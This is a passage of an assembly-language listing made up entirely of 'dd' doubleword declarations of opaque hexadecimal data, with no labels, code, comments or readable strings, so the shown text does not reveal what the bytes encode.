		dd 4B011029h, 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h
		dd 0A981FBEBh, 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch
		dd 52643155h, 83762AE4h, 0A6187800h, 14D98906h,	0FCCE78FFh
		dd 5A540E40h, 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h,	7430682Eh
		dd 14020800h, 0FE6A24B2h, 3F40F60h, 0AA0129B0h,	0CED8AC10h
		dd 808A3EC0h, 0AF49741Fh, 0DCE82B00h, 0E2F8B2h,	8DFC864Ah
		dd 0D65048A4h, 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h
		dd 6774292Eh, 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h
		dd 946330C3h, 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h
		dd 0CE81DCAAh, 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h
		dd 2F6FFABh, 996625A7h,	4ADEEF7Eh, 3302C900h, 10CE307h
		dd 1C8D180Bh, 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h
		dd 0ABBC0229h, 519ACAA1h, 864BC640h, 5045480Ah,	500B91Fh
		dd 44F0E83Fh, 34CE0095h, 7DDB1EC3h, 0FE033E09h,	1058E665h
		dd 0E7C0F8CDh, 0EA310066h, 110DA5C3h, 100A229h,	0DC1C5E06h
		dd 86957Eh, 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh
		dd 4280E2Eh, 0A54261A6h, 0D0609FA0h, 1C002DE3h,	715FC831h
		dd 934335h, 8D092280h, 89A59644h, 6610B900h, 148EBB8h
		dd 55500018h, 0C395CCCFh, 8300021Fh, 20CD0C10h,	0B0067Dh
		dd 6CE8AAF2h, 0F312C879h, 80037BFEh, 363E2E26h,	6A65D064h
		dd 0CD770006h, 234D836Dh, 9DB0145Bh, 15A65E14h,	0A39400D5h
		dd 0BEA09A95h, 74EB0D3h, 3F8624FEh, 0E72230D2h,	420F01B7h
		dd 56A57h, 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh
		dd 452401DBh, 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah
		dd 9DC0C100h, 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h
		dd 10B3D0F0h, 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h
		dd 7C09E381h, 0B6430403h, 0C0C0D3A0h, 0D80108h,	48469466h
		dd 65AD7AAAh, 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h
		dd 26076B24h, 303CC200h, 0ED805889h, 66813BB3h,	5AA59Fh
		dd 0D485F442h, 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah
		dd 8B2EC6AAh, 0ED779201h, 0B151520Ah, 45AC0E0h,	0B88DC850h
		dd 0D137837Ch, 38302880h, 130B0300h, 2B230A1Bh,	0AA5E0033h
		dd 8084B14Ah, 0A200C0C7h, 6AB550B6h, 1D35C5AEh,	3EF58B98h
		dd 0CAB803F9h, 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh
		dd 1733C55h, 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah
		dd 0FEE16753h, 6E010028h, 91F93538h, 22009409h,	0DAC144AAh
		dd 16EC89h, 693E552h, 92EA3FEh,	3133E81Eh, 1EA6C74Ch, 841403FDh
		dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h
		dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h
		dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h,	65C2ADE1h
		dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h
		dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h
		dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh
		dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h,	401563A6h
		dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h
		dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh
		dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh
		dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h
		dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h
		dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh
		dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh
		dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh
		dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h
		dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h
		dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh
		dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h
		dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh
		dd 96C0A938h, 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h
		dd 0CEB8001Ah, 8F748D2h, 0AF982792h, 371D64F4h,	74ECAC16h
		dd 9880C21Ch, 0A5349714h, 7D2D0F72h, 19404312h,	0EC9E3937h
		dd 0A446A00h, 0CE64AA58h, 5F8500D0h, 3C3DC93Fh,	0AD39DE9Fh
		dd 75138059h, 508388EBh, 0A4C700AAh, 152553C6h,	2D004FF3h
		dd 791E3AFCh, 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h
		dd 708498A4h, 0FEF28Fh,	736B6FF2h, 8CAA5524h, 8E749001h
		dd 5E9219A7h, 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah
		dd 8F00CDC6h, 5F4452B8h, 190A00E5h, 0AFF49940h,	0CD3A7180h
		dd 0C2248012h, 826F8A62h, 796E1DA6h, 85550303h,	2EB1215Eh
		dd 0A580F056h, 10658100h, 29DF4131h, 3D8F774Fh,	46002FC6h
		dd 97A323Fh, 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h
		dd 53429AFBh, 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh
		dd 97103644h, 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h
		dd 4333CA9h, 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh
		dd 0C62D30h, 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h
		dd 136FCA5h, 75323C48h,	0C8180C24h, 0AE0F1499h,	0E0232091h
		dd 100EEB29h, 0F09004Bh, 12AFAA95h, 0AC38C21Fh,	47F20079h
		dd 4402652Ah, 407009F5h, 0DA8006F1h, 22F77ED2h,	1C1DE2FEh
		dd 0B3262D45h, 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh
		dd 28A97B00h, 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh
		dd 0F86594CAh, 0E8CEB09Ah, 0E6B89Dh, 9C14B218h,	2A0B24C3h
		dd 0B0790800h, 8DFC5309h, 7D4EA48h, 5BC3048Ah, 212450DDh
		dd 0D200AAB7h, 0DB94719Ch, 6F5F44Bh, 0B23A4BBh,	0C20098D1h
		dd 3E988ACBh, 802113h, 7426C084h, 87ABF417h, 31A9CF02h
		dd 8FA7FABFh, 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h
		dd 3F0044C4h, 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh
		dd 2018421Ch, 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh
		dd 41B1D44Fh, 11010033h, 0A4400343h, 6700DE34h,	0D8B4D753h
		dd 88FC3Fh, 0DAAD330Ch,	24CDC029h, 0F753FE00h, 1CA7A5D2h
		dd 3E500195h, 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh
		dd 6A697F80h, 5B301E21h, 63FC09Eh, 56846B4Ah, 0D3A38B2Ch
		dd 0D044CF07h, 32EB6D70h, 40B20007h, 343F0937h,	26002D1Fh
		dd 18465698h, 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h
		dd 8339B045h, 0D5CFAAh,	0A81AC91Ch, 0BBA5EDDAh,	5A962F0Eh
		dd 0D748C0A4h, 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h
		dd 0A2D3D2E2h, 0E14F6Ah, 0B345233Eh, 20A9840Ch,	0E4EC3Ah
		dd 0AA5382B6h, 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h
		dd 0F8BC1F2Ah, 9E031BB8h, 79BF4A85h, 6425A0FBh,	0A60C0F17h
		dd 758F9339h, 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh
		dd 636E2A1h, 3465401h, 76007662h, 0E8028891h, 30D7B5Ah
		dd 707E843Bh, 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h
		dd 0D12A4FCh, 7A340047h, 0E804C8B9h, 7E3CC0ADh,	8770808Eh
		dd 4DBEE269h, 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch
		dd 0B5BCC025h, 0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah
		dd 13DF8C00h, 883F0848h, 0A58B01B0h, 5E956B77h,	0BBBD3092h
		dd 0D3005BF0h, 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h
		dd 587CC80Bh, 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h
		dd 320009E5h, 0E1731E82h, 85CA3Bh, 54862F07h, 109E6AE7h
		dd 37B47E01h, 4E05ACBEh, 0B16FE8C7h, 393B3827h,	7822F980h
		dd 0BF8EC59h, 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah
		dd 11601674h, 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh
		dd 8AFA2730h, 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h
		dd 0FF8E2E25h, 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h
		dd 37F4062h, 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah,	0C35691Fh
		dd 455ACD00h, 0E79117h,	324A8110h, 22C2098Fh, 0EFB8B000h
		dd 0D6E22EFCh, 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h
		dd 1BDE453h, 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h
		dd 88C9172Fh, 16D1CD99h, 0CF27A9h, 0D3672D0Fh, 4B00246Ah
		dd 0C73D9C15h, 388712h,	0E1B5358Eh, 207B3AD8h, 3C5A101Ch
		dd 0A14C2FCFh, 0EA9E0942h, 0C732D8h, 14FB89B0h,	3CDDA53Ah
		dd 0A75DD901h, 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh
		dd 7E0007F8h, 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h
		dd 8CE0336Dh, 0C81E1479h, 47895C00h, 9298714Dh,	4ED51D64h
		dd 7D2E40F1h, 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h
		dd 0DDCEC0ECh, 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh
		dd 487109h, 22759166h, 0A9944487h, 15BD8900h, 79566AA8h
		dd 3A430913h, 5900DBB3h, 0A2580693h, 1D52FB00h,	9E947E59h
		dd 1E3600F5h, 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h
		dd 2BE00051h, 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h
		dd 4815F4CAh, 0C4002940h, 24269DF7h, 8D00090Ah,	6B5867EBh
		dd 0E106F0h, 86C403AFh,	912C2040h, 2A621D01h, 4F28023Fh
		dd 0B866F8h, 0A2F49C92h, 1C575E09h, 0DF956700h,	729A3F2Eh
		dd 0A1651C96h, 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h
		dd 8C9C9ED0h, 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h
		dd 54D20050h, 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh
		dd 70AC4EA8h, 5FD5BD1h,	95796406h, 90740B9Dh, 11FEE7h
		dd 2DAD3FB5h, 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h
		dd 0F300FCBBh, 1354B0Bh, 9800FAC6h, 0C046D13h, 901C4E06h
		dd 0A4AA0075h, 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh
		dd 0FF5F6AFBh, 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch
		dd 3DBA0EA4h, 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h
		dd 0D10B1DACh, 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h
		dd 96554152h, 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h
		dd 6B2F135Ch, 4E5142h, 0D55247C2h, 0DE9DA396h, 43DA4100h
		dd 77A98F27h, 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh
		dd 13CA6Eh, 588DBADh, 847D8351h, 76818700h, 0A19BCCB8h
		dd 2D900089h, 98F50CE6h, 0D7975F4h, 0BB167B00h,	310157FDh
		dd 0C353064Bh, 662230EBh, 130073B8h, 90FA0681h,	53B858h
		dd 0AB2CDC59h, 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h
		dd 70E4BDB3h, 0F2213EB5h, 34232CFFh, 0CD00F37h,	604485A7h
		dd 31382433h, 80522831h, 54E41940h, 87C99h, 144B2C11h
		dd 7955A41Ah, 74A17D07h, 8B9303E8h, 0F60AB024h,	0B35300DDh
		dd 5010255Bh, 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh
		dd 0A7521AA1h, 400D50Ch, 62BEE0DEh, 8153A0h, 438FE831h
		dd 3325D16Bh, 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h
		dd 0B40A657Bh, 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah
		dd 7BA2EAh, 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh
		dd 472A7Ch, 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h
		dd 0C297BC0h, 12440F9Fh, 0CC20F804h, 1A4626FFh,	0D9754F01h
		dd 0A4DC4381h, 7FF59AE8h, 1C2C072Ah, 30D6AB18h,	373FE828h
		dd 1AC758h, 0EC99EA24h,	5FA858h, 264C4442h, 5B2DAF53h
		dd 0E094D500h, 3B1C98C4h
		dd 74F9A0BEh, 547300ECh, 3ED6AA20h, 5198E2C1h, 5F184300h
		dd 89652E7Ah, 545E0B24h, 360040D0h, 0E40594B1h,	7E75D40Eh
		dd 81CC3A1h, 4842C020h,	50EEA6h, 19D0DC7Ch, 0D3245303h
		dd 70463700h, 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h
		dd 5F39DB31h, 0D8E2B0h,	7E1DFD94h, 7CF60542h, 82000EE6h
		dd 680AA21Ch, 974A18h, 40A5EB63h, 37148D3Eh, 4BC23B00h
		dd 0B2D6FB7Dh, 0EE7717h, 910C1867h, 0C7D7C6B7h,	0AFC8A500h
		dd 7F95A215h, 0B0040017h, 82D4BC92h, 1C007B29h,	0E0E8515Fh
		dd 0F303231h, 330A440Dh, 9B0C960h, 3B02010Bh, 67D1C50h
		dd 49DB608Bh, 9076010Ch, 78C3C129h, 7EB8304Ah, 5A8C081Dh
		dd 7F56CA40h, 1749BBh, 48DA1A32h, 71546CB9h, 731F9E7Bh
		dd 3D817256h, 75D13C89h, 868042BCh, 2C438890h, 9C71BE97h
		dd 4548CB00h, 58FDAD80h, 0CA1F2820h, 0E81201E8h, 94684693h
		dd 7034E4D8h, 7E0E37F6h, 0E0B7C11Bh, 0FED74E97h, 0F7C0302h
		dd 6D3D7AF5h, 601F4DF8h, 0D2F13304h, 3F822D37h,	88B3638Ah
		dd 0FA092h, 2808FD16h, 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch
		dd 4E99E1h, 3172403Bh, 20A621EEh, 9028A900h, 8DFEF55Eh
		dd 54BF001Eh, 51C4D9A0h, 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh
		dd 0FEA7132h, 7607B91h,	149500D7h, 0AAD504F0h, 0F7303Bh
		dd 5BDE97D1h, 107EB8Bh,	5DC9CAD4h, 0E8871067h, 0D50027E9h
		dd 18D02325h, 2EDAED84h, 3F70A56Ah, 46FDC580h, 8E4769EAh
		dd 0C3A1F400h, 838006C6h, 5198FFh, 0EF37107Eh, 0C4AA142Ah
		dd 638A5D0Fh, 351E977Ch, 2FB42480h, 43D2D9h, 0CED555Ah
		dd 70571908h, 871D79FAh, 54CF2088h, 803C004Ah, 638A551h
		dd 58A2B891h, 89000B15h, 88BC461Eh, 0EA4E5690h,	1877F2h
		dd 0EB1AC0Ah, 772E6D41h, 706A6200h, 7899DF60h, 14510010h
		dd 22836350h, 7D5C4161h, 73760E0Dh, 0BF67606Eh,	44704Eh
		dd 680E4A19h, 47667157h, 407C4100h, 6E727660h, 4CE900F9h
		dd 6BC47ADDh, 6409F07Fh, 80A66974h, 534018CFh, 48770061h
		dd 0B37C577Dh, 4E019046h, 7BE16ED3h, 62F89E67h,	8E700EF9h
		dd 0FF1C1743h, 826C6F1Fh, 603B7165h, 731ECBC0h,	5F697D02h
		dd 0E09EBE44h, 1E20AA15h, 800E1343h, 522A6670h,	71000C9Bh
		dd 0EE4A7A73h, 0F888DE65h, 1243001Ch, 3637E72h,	61776D55h
		dd 0B0604A00h, 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch
		dd 45B0711Ch, 743961C2h, 6EF6E063h, 0C7D81DADh,	66F1404Dh
		dd 76CC6A4Fh, 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch
		dd 4B000E73h, 0EA6F4363h, 581862h, 6C1C6847h, 77875166h
		dd 31706B00h, 1D466365h, 74487140h, 1F077972h, 80615167h
		dd 74945527h, 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh
		dd 429E0078h, 13048FEh,	6A0E654Bh, 0C7636961h, 0D3E128C0h
		dd 87C421FBh, 0F860F834h, 681E009Fh, 486E38BFh,	95073052h
		dd 1447CA1Ch, 3741150h,	61670046h, 60886376h, 8BA05677h
		dd 6D000A62h, 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h
		dd 0E0FE626Bh, 9E68573Eh, 0EA0BE276h, 24C8045h,	3140E65h
		dd 1830A560h, 48B07742h, 0B6006C63h, 74417289h,	613A71h
		dd 1C0696Bh, 7A7B6DCBh,	0B7C24400h, 5A0D10DCh, 0E01C7AE1h
		dd 0B82A0175h, 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h
		dd 84CB00A4h, 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh
		dd 7B2B4CE4h, 406A0B86h, 0BB505Ch, 44A19946h, 7D0D3951h
		dd 14101E15h, 67FC80C3h, 28B4C28h, 3D00F00h, 0C2203C50h
		dd 17403AF6h, 21742B80h, 1CA73E16h, 0BA98FF00h,	61C40775h
		dd 1D4775F7h, 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h
		dd 1B147945h, 0D2380457h, 81E7E0FBh, 60F1FFD3h,	24007CB5h
		dd 2D46DD69h, 0EBFF497h, 0D55349Fh, 0F7A42520h,	9178C912h
		dd 14B8801Fh, 8C850F00h, 0F2AEB19h, 0CE906544h,	7481644Fh
		dd 71830E54h, 0D020CD66h, 1A004240h, 122E3C32h,	262FE175h
		dd 1C8FD16Dh, 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h
		dd 71110E44h, 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh
		dd 0D0FA00A4h, 53451BACh, 9000C343h, 4ECC175Ch,	0B140A8h
		dd 100E5BE5h, 0ECF17A24h, 28B80AEEh, 58A01A00h,	1BE82654h
		dd 8BA71D76h, 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h
		dd 884E0055h, 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h,	7A768B25h
		dd 0AA830E12h, 5A204E7Eh, 7AD026BEh, 2844B51Fh,	1100B8D3h
		dd 0FC5D8E40h, 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h
		dd 84ED1C80h, 1DF807C9h, 0F0C2FE9Dh, 7A325434h,	0A556EC00h
		dd 93FAB2AAh, 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh
		dd 25378AAh, 8CA82F21h,	436084DBh, 0FC7A46E9h, 930157F0h
		dd 0C40C21CCh, 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh
		dd 0FF7D42B9h, 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch
		dd 0EBA5815Eh, 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h
		dd 4ABF5CC3h, 760F09F8h, 545DF0Ch, 0FB80EB0Fh, 2D6995h
		dd 0E885D959h, 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h
		dd 365097h, 0D9028E0Fh,	0C80F6CADh, 40160615h, 0EA9674Ch
		dd 11758Dh, 0B7987827h,	0C514D885h, 3C958700h, 0A15DAF9Fh
		dd 8D5601B1h, 43CF49B5h, 1B2480C4h, 0CDC340B9h,	47823C5Eh
		dd 1B66A12h, 7F17FB56h,	851EC422h, 0BC49403h, 0D0763F0Fh
		dd 0F4BA3437h, 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h
		dd 558BF1B8h, 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h
		dd 32FEF4h, 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h
		dd 14546C6h, 6EB029DEh,	0C8305399h, 2600567Eh, 82502D13h
		dd 259C7DDh, 44B3D375h,	0D3C095BAh, 400A58Dh, 4FF53FEAh
		dd 8C7CFFh, 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh
		dd 15F4F48h, 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h
		dd 11790114h, 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh
		dd 40722EBh, 8053B84h, 12410C01h, 0E028C310h, 0F600D311h
		dd 1CBA2F13h, 3455251h,	87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh
		dd 6C7E8086h, 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah
		dd 0ABC66F8Ah, 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh
		dd 0DDAEFC00h, 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h
		dd 0B45EBD03h, 0D224BFh, 60923949h, 9F6BE41h, 32E6B07h
		dd 9E30E4BCh, 0D31840h,	244C283h, 0DCA12550h, 805D203Eh
		dd 80D0FF04h, 6583F0h, 0B106FE3Bh, 76BE695Bh, 6EC0FA00h
		dd 73BF1210h, 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h
		dd 6D069022h, 905A007Fh, 0E99527C3h, 8900AAFFh,	821B4E42h
		dd 0EC0257EBh, 0B8D3F5D6h, 5098F23h, 12D5BEDBh,	0B4B00092h
		dd 837825E9h, 46EC600h,	0E0EB72B6h, 7C75038Eh, 14AEA1A8h
		dd 0D99548A0h, 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h
		dd 0D92A62F1h, 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h
		dd 0D428B921h, 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh
		dd 690C16EBh, 30B3B00h,	24CF2BCAh, 0DF8A006Fh, 0AE4927Ch
		dd 0A000275Fh, 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h
		dd 82920E00h, 0EB68422Bh, 75014F00h, 3C6D2859h,	96E60025h
		dd 0D4DDC30Ch, 80072089h
		dd 1DC0267Bh, 0B50098B7h, 437EE0h, 0F5AC921Bh, 0B0C1D73Bh
		dd 450C532Ch, 0EFC25000h, 437FC6h, 2856A9F9h, 8F7D0EEh
		dd 0A8517A00h, 2DA6D3AAh, 8C4D005Dh, 0BF156726h, 13007387h
		dd 3FE5F685h, 7031188h,	0A4BC625Ch, 0E08DF7AEh,	0A9841D6h
		dd 8024683Eh, 0FA92A97Dh, 0F4C5E5A6h, 19640F34h, 0A500A8BEh
		dd 358498F2h, 28033372h, 9D863210h, 0E628039h, 7A2C1D11h
		dd 8158CA2h, 2B7D4F0Ch,	28783F03h, 0A90C5820h, 63C510AFh
		dd 75D0EC0h, 0D7B153C5h, 294E00B7h, 3E037654h, 7D7A47D2h
		dd 717CF190h, 609825E0h, 8563822Fh, 6B006E96h, 0EC3DFB4Bh
		dd 1E4C52ACh, 0EEAFF5DBh, 2EDC0941h, 3752880h, 0D7B850B3h
		dd 6899D500h, 2C78B22Fh, 49F2015Dh, 0E27BCDE1h,	0A391F004h
		dd 1253430Fh, 4EA2A0F0h, 29C6F5h, 4138DA0Ch, 0C7FD04D8h
		dd 4FEC3F00h, 1E4319DFh, 0C3E809D6h, 880CA07h, 1AC11BC9h
		dd 21B9F58h, 9C18153Bh,	1254E047h, 0C550001h, 9FAD0575h
		dd 161F8AF4h, 8414258h,	1A91CB03h, 0AF46FCh, 0B454BF2Ah
		dd 0D5E868E1h, 0B9CC8900h, 8D6C2730h, 527E003Ch, 0A7EC044Bh
		dd 0E400E85Bh, 104914D5h, 0A0DA2Ch, 0B619890Ch,	0FAD0FB04h
		dd 752D3C01h, 0E2F0D1F1h, 721C64D8h, 0CC7B0024h, 15D63479h
		dd 0B3003E35h, 64658420h, 384E3Dh, 0DC5B6C21h, 91879D68h
		dd 0A4A22404h, 4EC09015h, 71E4CB2h, 5C7AB3FAh, 0AC6607Eh
		dd 0EB07EE47h, 0D7FFE215h, 0DB497190h, 45170314h, 0A130306h
		dd 2E77F098h, 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h
		dd 9A70F31Ah, 0FF0A00C0h, 0E4390855h, 0BAFE7347h, 0E0257F00h
		dd 5ADEF7FBh, 45600728h, 618A6543h, 0D94CD0A8h,	68E8EB85h
		dd 4D9C7DE0h, 84A22C06h, 1CD6EAC4h, 0C0096422h,	0BAF5784Ah
		dd 0C400EB0Ah, 0B6E83C80h, 4CC1E924h, 11DAEA7h,	0A9840003h
		dd 8AB08805h, 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h
		dd 40FAE70Fh, 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h
		dd 0FCCFD20h, 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h
		dd 65E8F980h, 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h
		dd 68A1C07h, 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h
		dd 5C9FB9EFh, 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h
		dd 0F880EE89h, 3E0313A4h, 1D004D93h, 7601C71Ch,	0EBE09237h
		dd 0E93C1703h, 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h
		dd 0CC7EC0DFh, 720904E8h, 80F6D48Fh, 3DD3BD3Ch,	0D1242EFAh
		dd 0C6006A71h, 1237E903h, 2B9600AAh, 108DE776h,	3A0075B8h
		dd 0C45420A7h, 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh
		dd 2D008319h, 0B4CFCCE0h, 66ED10h, 0F8AD68E7h, 851C7DA4h
		dd 0CCF4423Dh, 7B301D4Eh, 3F13DAEEh, 185C4D02h,	688E0E8Ch
		dd 0DE26001Dh, 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h
		dd 0E0F9FDF2h, 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h
		dd 0F516031Bh, 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h
		dd 0B2566F20h, 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h
		dd 534FC04Eh, 92747F24h, 1800E024h, 0DE4BE810h,	9E140E12h
		dd 68AF9608h, 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h
		dd 4A170094h, 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh
		dd 130ED1F5h, 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h
		dd 0AE7F7Fh, 47498476h,	88D6CB55h, 23517100h, 54B88A3Eh
		dd 37320025h, 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h
		dd 0C89C0076h, 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h
		dd 40001B32h, 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h
		dd 0A9A44526h, 47441653h, 0A69DAE18h, 0EC550Eh,	0ABF00798h
		dd 3B06E98Ch, 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h
		dd 0FF96EBE0h, 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h
		dd 8130299Fh, 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h
		dd 342D220Dh, 85000CCh,	0DED4BA04h, 0B400E542h,	6B1CDAB6h
		dd 74AE9046h, 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h,	920034F5h
		dd 1C5815D1h, 0E3AC6Eh,	8F433614h, 8C9C46A2h, 8A40F101h
